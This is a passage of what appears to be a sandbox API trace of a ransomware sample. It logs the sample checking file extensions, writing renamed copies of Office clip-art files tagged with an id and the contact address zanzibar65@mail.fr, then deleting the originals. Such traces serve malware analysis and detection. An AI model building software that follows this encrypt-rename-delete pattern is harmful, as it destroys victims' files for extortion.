(lpString1=".pdf", lpString2=".WMF") returned -1 [0058.654] lstrlenW (lpString=".xls") returned 4 [0058.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.654] lstrlenW (lpString=".xlsx") returned 5 [0058.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.654] lstrlenW (lpString=".ppt") returned 4 [0058.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.654] lstrlenW (lpString=".zip") returned 4 [0058.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.654] lstrlenW (lpString=".rar") returned 4 [0058.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.654] lstrlenW (lpString=".bz2") returned 4 [0058.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.654] lstrlenW (lpString=".7z") returned 3 [0058.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.654] lstrlenW (lpString=".dbf") returned 4 [0058.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.654] lstrlenW (lpString=".1cd") returned 4 [0058.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0058.654] lstrlenW (lpString=".jpg") returned 4 [0058.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.655] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.655] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0058.655] GetLastError () returned 0x0 [0058.655] ReadFile (in: hFile=0x258, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xd16, lpOverlapped=0x0) returned 1 [0058.656] WriteFile (in: hFile=0x22c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xd20, lpOverlapped=0x0) returned 1 [0058.657] ReadFile (in: hFile=0x258, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.657] WriteFile (in: hFile=0x22c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0058.657] SetEndOfFile (hFile=0x22c) returned 1 [0058.658] CloseHandle (hObject=0x22c) returned 1 [0058.658] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.658] SetEndOfFile (hFile=0x258) returned 1 [0058.659] CloseHandle (hObject=0x258) returned 1 [0058.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1 [0058.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0058.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0058.659] lstrlenW (lpString=".doc") returned 4 [0058.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.659] lstrlenW (lpString=".docx") returned 5 [0058.659] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0058.659] lstrlenW (lpString=".pdf") returned 4 [0058.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.660] lstrlenW (lpString=".xls") returned 4 [0058.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.660] lstrlenW (lpString=".xlsx") returned 5 [0058.660] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0058.660] lstrlenW (lpString=".ppt") returned 4 [0058.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0058.660] lstrlenW (lpString=".zip") returned 4 [0058.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.660] lstrlenW (lpString=".rar") returned 4 [0058.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.660] lstrlenW (lpString=".bz2") returned 4 [0058.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.660] lstrlenW (lpString=".7z") returned 3 [0058.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0058.660] lstrlenW (lpString=".dbf") returned 4 [0058.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0058.660] lstrlenW (lpString=".1cd") returned 4 [0058.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59 [0058.660] lstrlenW (lpString=".jpg") returned 4 [0058.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.660] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.660] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0058.661] GetLastError () returned 0x0 [0058.661] ReadFile (in: hFile=0x258, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x714c, lpOverlapped=0x0) returned 1 [0058.663] WriteFile (in: hFile=0x22c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7150, lpOverlapped=0x0) returned 1 [0058.664] ReadFile (in: hFile=0x258, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.664] WriteFile (in: hFile=0x22c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.664] SetEndOfFile (hFile=0x22c) returned 1 [0058.664] CloseHandle (hObject=0x22c) returned 1 [0058.664] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.664] SetEndOfFile (hFile=0x258) returned 1 [0058.665] CloseHandle (hObject=0x258) returned 1 [0058.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0058.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0058.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0058.666] lstrlenW (lpString=".doc") returned 4 [0058.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.666] lstrlenW (lpString=".docx") returned 5 [0058.666] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0058.666] lstrlenW (lpString=".pdf") returned 4 [0058.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.666] lstrlenW (lpString=".xls") returned 4 [0058.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.666] lstrlenW (lpString=".xlsx") returned 5 [0058.666] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0058.666] lstrlenW (lpString=".ppt") returned 4 [0058.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0058.666] lstrlenW (lpString=".zip") returned 4 [0058.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.666] lstrlenW (lpString=".rar") returned 4 [0058.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.666] lstrlenW (lpString=".bz2") returned 4 [0058.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.666] lstrlenW (lpString=".7z") returned 3 [0058.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0058.667] lstrlenW (lpString=".dbf") returned 4 [0058.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0058.667] lstrlenW (lpString=".1cd") returned 4 [0058.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0058.667] lstrlenW (lpString=".jpg") returned 4 [0058.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.667] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.667] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0058.667] GetLastError () returned 0x0 [0058.667] ReadFile (in: hFile=0x258, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x532, lpOverlapped=0x0) returned 1 [0058.669] WriteFile (in: hFile=0x22c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x540, lpOverlapped=0x0) returned 1 [0058.670] ReadFile (in: hFile=0x258, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.670] WriteFile (in: hFile=0x22c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.670] SetEndOfFile (hFile=0x22c) returned 1 [0058.670] CloseHandle (hObject=0x22c) returned 1 [0058.670] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.670] SetEndOfFile (hFile=0x258) returned 1 [0058.671] CloseHandle (hObject=0x258) returned 1 [0058.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0058.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0058.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0058.671] lstrlenW (lpString=".doc") returned 4 [0058.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString=".docx") returned 5 [0058.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.672] lstrlenW (lpString=".pdf") returned 4 [0058.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString=".xls") returned 4 [0058.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.672] lstrlenW (lpString=".xlsx") returned 5 [0058.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.672] lstrlenW (lpString=".ppt") returned 4 [0058.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0058.672] lstrlenW (lpString=".zip") returned 4 [0058.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.672] lstrlenW (lpString=".rar") returned 4 [0058.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString=".bz2") returned 4 [0058.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString=".7z") returned 3 [0058.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0058.672] lstrlenW (lpString=".dbf") returned 4 [0058.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0058.672] lstrlenW (lpString=".1cd") returned 4 [0058.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0058.672] lstrlenW (lpString=".jpg") returned 4 [0058.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.689] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.703] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.504] GetLastError () returned 0x0 [0059.504] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5a4, lpOverlapped=0x0) returned 1 [0059.505] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0059.506] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.506] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.506] SetEndOfFile (hFile=0x220) returned 1 [0059.506] CloseHandle (hObject=0x220) returned 1 [0059.507] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.507] SetEndOfFile (hFile=0x1c4) returned 1 [0059.507] CloseHandle (hObject=0x1c4) returned 1 [0059.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0059.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0059.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0059.508] lstrlenW (lpString=".doc") returned 4 [0059.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.508] lstrlenW (lpString=".docx") returned 5 [0059.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.508] lstrlenW (lpString=".pdf") returned 4 [0059.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.508] lstrlenW (lpString=".xls") returned 4 [0059.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.508] lstrlenW (lpString=".xlsx") returned 5 [0059.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.508] lstrlenW (lpString=".ppt") returned 4 [0059.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0059.508] lstrlenW (lpString=".zip") returned 4 [0059.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.509] lstrlenW (lpString=".rar") returned 4 [0059.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.509] lstrlenW (lpString=".bz2") returned 4 [0059.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.509] lstrlenW (lpString=".7z") returned 3 [0059.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0059.509] lstrlenW (lpString=".dbf") returned 4 [0059.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0059.509] lstrlenW (lpString=".1cd") returned 4 [0059.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0059.509] lstrlenW (lpString=".jpg") returned 4 [0059.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.510] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4976) returned 1 [0059.510] CloseHandle (hObject=0x1c4) returned 1 [0059.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0059.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.510] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.510] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.511] GetLastError () returned 0x0 [0059.511] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1370, lpOverlapped=0x0) returned 1 [0059.512] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1380, lpOverlapped=0x0) returned 1 [0059.513] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.513] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.513] SetEndOfFile (hFile=0x220) returned 1 [0059.513] CloseHandle (hObject=0x220) returned 1 [0059.513] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.513] SetEndOfFile (hFile=0x1c4) returned 1 [0059.514] CloseHandle (hObject=0x1c4) returned 1 [0059.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0059.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0059.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0059.515] lstrlenW (lpString=".doc") returned 4 [0059.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.515] lstrlenW (lpString=".docx") returned 5 [0059.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.515] lstrlenW (lpString=".pdf") returned 4 [0059.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.515] lstrlenW (lpString=".xls") returned 4 [0059.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.515] lstrlenW (lpString=".xlsx") returned 5 [0059.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.515] lstrlenW (lpString=".ppt") returned 4 [0059.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0059.515] lstrlenW (lpString=".zip") returned 4 [0059.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.515] lstrlenW (lpString=".rar") returned 4 [0059.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.515] lstrlenW (lpString=".bz2") returned 4 [0059.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.515] lstrlenW (lpString=".7z") returned 3 [0059.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0059.515] lstrlenW (lpString=".dbf") returned 4 [0059.516] 